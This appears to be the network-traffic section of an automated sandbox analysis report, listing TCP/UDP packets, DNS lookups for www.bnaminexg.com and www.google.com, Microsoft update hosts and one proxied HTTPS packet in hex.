.m.e.d.i.t.a.b.u.n.d.o.....S.e.t. .m.e.d.i.t.a.b.u.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 19:22:38.252749920 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:38.252749920 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:38.565201998 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:47.463922024 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:47.463937044 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:47.464005947 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:47.465025902 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:47.465034008 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:47.938443899 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:47.938499928 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:48.235301018 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:48.253787994 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.253858089 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.259815931 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.259826899 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.260133982 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.262079954 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.262176991 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.262183905 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.262342930 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.308490992 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.441526890 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.442703009 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:48.442719936 CEST	443	49713	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:48.442832947 CEST	49713	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:49.365536928 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.365576029 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.365642071 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.365936995 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.365945101 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.366467953 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.366498947 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.366555929 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.366777897 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.366790056 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.872126102 CEST	443	49705	173.222.162.64	192.168.2.6
Jul 3, 2024 19:22:49.872209072 CEST	49705	443	192.168.2.6	173.222.162.64
Jul 3, 2024 19:22:49.921037912 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.921902895 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.921917915 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.922913074 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.922977924 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.939188957 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.959563017 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.959728003 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.959739923 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.959759951 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.960011959 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.960028887 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.961042881 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:49.961091995 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.961427927 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:49.961482048 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.004048109 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.004072905 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.004777908 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.048492908 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.061183929 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061217070 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061224937 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061274052 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061296940 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.061306000 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061333895 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:50.061343908 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.061369896 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.110419989 CEST	49717	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:22:50.110449076 CEST	443	49717	162.210.199.135	192.168.2.6
Jul 3, 2024 19:22:51.346970081 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:51.347003937 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:51.347124100 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:51.347723007 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:51.347740889 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.003861904 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.007992983 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:52.008012056 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.009021044 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.009341002 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:52.031497002 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:52.031615973 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.083498001 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:52.083512068 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:22:52.131000996 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:22:52.168598890 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.168633938 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:52.168752909 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.172071934 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.172091007 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:52.876991034 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:52.877079964 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.883697033 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.883704901 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:52.883985996 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:52.924266100 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:52.980840921 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.024511099 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.347124100 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.347183943 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.347321033 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.347321033 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.347343922 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.347369909 CEST	49722	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.347376108 CEST	443	49722	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.438611984 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.438653946 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:53.438798904 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.439502001 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:53.439517021 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.345626116 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.345777988 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.375518084 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.375540018 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.375837088 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.381642103 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.428494930 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.641280890 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.641340971 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.641525984 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.759579897 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.759602070 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:54.759614944 CEST	49723	443	192.168.2.6	2.18.97.153
Jul 3, 2024 19:22:54.759622097 CEST	443	49723	2.18.97.153	192.168.2.6
Jul 3, 2024 19:22:56.293463945 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:56.293529987 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:56.293601036 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:56.294610023 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:56.294625998 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.417035103 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.417120934 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.419037104 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.419048071 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.419286966 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.421401978 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.421482086 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.421487093 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.421622038 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.464512110 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.598169088 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.598370075 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:57.598436117 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.598695040 CEST	49724	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:22:57.598711014 CEST	443	49724	40.115.3.253	192.168.2.6
Jul 3, 2024 19:22:58.473958015 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:58.473993063 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:58.474123955 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:58.475987911 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:58.476006031 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.467226028 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.467298031 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.469687939 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.469701052 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.469969034 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.509866953 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.693676949 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.736504078 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959856033 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959880114 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959887028 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959903955 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959940910 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959953070 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.959968090 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.959981918 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.960005045 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.960300922 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.960360050 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.960366011 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.960752964 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.960803986 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.985167027 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.985183001 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:22:59.985199928 CEST	49725	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:22:59.985204935 CEST	443	49725	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:01.921587944 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:23:01.921662092 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:23:01.921724081 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:23:02.285671949 CEST	59275	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:23:02.290513992 CEST	53	59275	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:02.290647984 CEST	59275	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:23:02.295449018 CEST	53	59275	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:02.739659071 CEST	59275	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:23:02.745341063 CEST	53	59275	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:02.745687962 CEST	59275	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:23:03.879170895 CEST	49720	443	192.168.2.6	142.250.184.228
Jul 3, 2024 19:23:03.879204988 CEST	443	49720	142.250.184.228	192.168.2.6
Jul 3, 2024 19:23:10.052567959 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:23:10.052639008 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:23:10.052702904 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:23:11.870388031 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:11.870433092 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:11.870500088 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:11.871124029 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:11.871138096 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:11.878305912 CEST	49716	443	192.168.2.6	162.210.199.135
Jul 3, 2024 19:23:11.878320932 CEST	443	49716	162.210.199.135	192.168.2.6
Jul 3, 2024 19:23:12.705756903 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.705883026 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.710864067 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.710875988 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.711102009 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.712948084 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.713124990 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.713124990 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.713130951 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.756500959 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.888523102 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.888607025 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:12.888901949 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.891535997 CEST	59276	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:12.891549110 CEST	443	59276	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:28.868741989 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:28.868848085 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:28.869075060 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:28.871571064 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:28.871604919 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.684752941 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.684865952 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.689166069 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.689203978 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.689479113 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.694536924 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.698165894 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.698184013 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.698338032 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.744507074 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.874139071 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.874340057 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:29.874409914 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.874512911 CEST	59277	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:29.874569893 CEST	443	59277	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:38.912954092 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:38.912987947 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:38.913145065 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:38.913439989 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:38.913455963 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:39.788748980 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:39.788836002 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:39.790622950 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:39.790632963 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:39.790970087 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:39.800419092 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:39.844497919 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116544962 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116571903 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116588116 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116657972 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.116694927 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116759062 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.116873980 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116914988 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116944075 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.116947889 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.116974115 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.117753983 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.117822886 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.121948957 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.121969938 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:40.121980906 CEST	59278	443	192.168.2.6	40.127.169.103
Jul 3, 2024 19:23:40.121985912 CEST	443	59278	40.127.169.103	192.168.2.6
Jul 3, 2024 19:23:54.604024887 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:54.604062080 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:54.604144096 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:54.604737043 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:54.604752064 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.422935963 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.423024893 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.425259113 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.425270081 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.425497055 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.427391052 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.427465916 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.427472115 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.427597046 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.472501040 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.601890087 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.601979017 CEST	443	59280	40.115.3.253	192.168.2.6
Jul 3, 2024 19:23:55.602057934 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.612879038 CEST	59280	443	192.168.2.6	40.115.3.253
Jul 3, 2024 19:23:55.612900019 CEST	443	59280	40.115.3.253	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 19:22:47.385581970 CEST	53	58923	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:47.447639942 CEST	53	50484	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:48.447303057 CEST	53	64249	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:48.976356030 CEST	64718	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:22:48.976557016 CEST	51751	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:22:49.362898111 CEST	53	51751	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:49.364818096 CEST	53	64718	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:51.336572886 CEST	56412	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:22:51.336572886 CEST	53079	53	192.168.2.6	1.1.1.1
Jul 3, 2024 19:22:51.343621016 CEST	53	56412	1.1.1.1	192.168.2.6
Jul 3, 2024 19:22:51.344239950 CEST	53	53079	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:02.285170078 CEST	53	52848	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:05.503540039 CEST	53	53170	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:24.246593952 CEST	53	51975	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:46.904511929 CEST	53	58717	1.1.1.1	192.168.2.6
Jul 3, 2024 19:23:46.908826113 CEST	53	59609	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 19:22:48.976356030 CEST	192.168.2.6	1.1.1.1	0x2ca2	Standard query (0)	www.bnaminexg.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 19:22:48.976557016 CEST	192.168.2.6	1.1.1.1	0x865a	Standard query (0)	www.bnaminexg.com	65	IN (0x0001)	false
Jul 3, 2024 19:22:51.336572886 CEST	192.168.2.6	1.1.1.1	0x3d69	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 3, 2024 19:22:51.336572886 CEST	192.168.2.6	1.1.1.1	0x9b58	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 19:22:49.362898111 CEST	1.1.1.1	192.168.2.6	0x865a	No error (0)	www.bnaminexg.com	bnaminexg.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 19:22:49.364818096 CEST	1.1.1.1	192.168.2.6	0x2ca2	No error (0)	www.bnaminexg.com	bnaminexg.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 19:22:49.364818096 CEST	1.1.1.1	192.168.2.6	0x2ca2	No error (0)	bnaminexg.com		162.210.199.135	A (IP address)	IN (0x0001)	false
Jul 3, 2024 19:22:51.343621016 CEST	1.1.1.1	192.168.2.6	0x3d69	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 19:22:51.344239950 CEST	1.1.1.1	192.168.2.6	0x9b58	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.bnaminexg.com

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:22:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 57 5a 59 78 44 4a 38 32 55 43 44 4e 59 77 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 65 38 33 62 33 37 30 31 36 37 36 61 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dWZYxDJ82UCDNYwF.1Context: e1e83b3701676a22
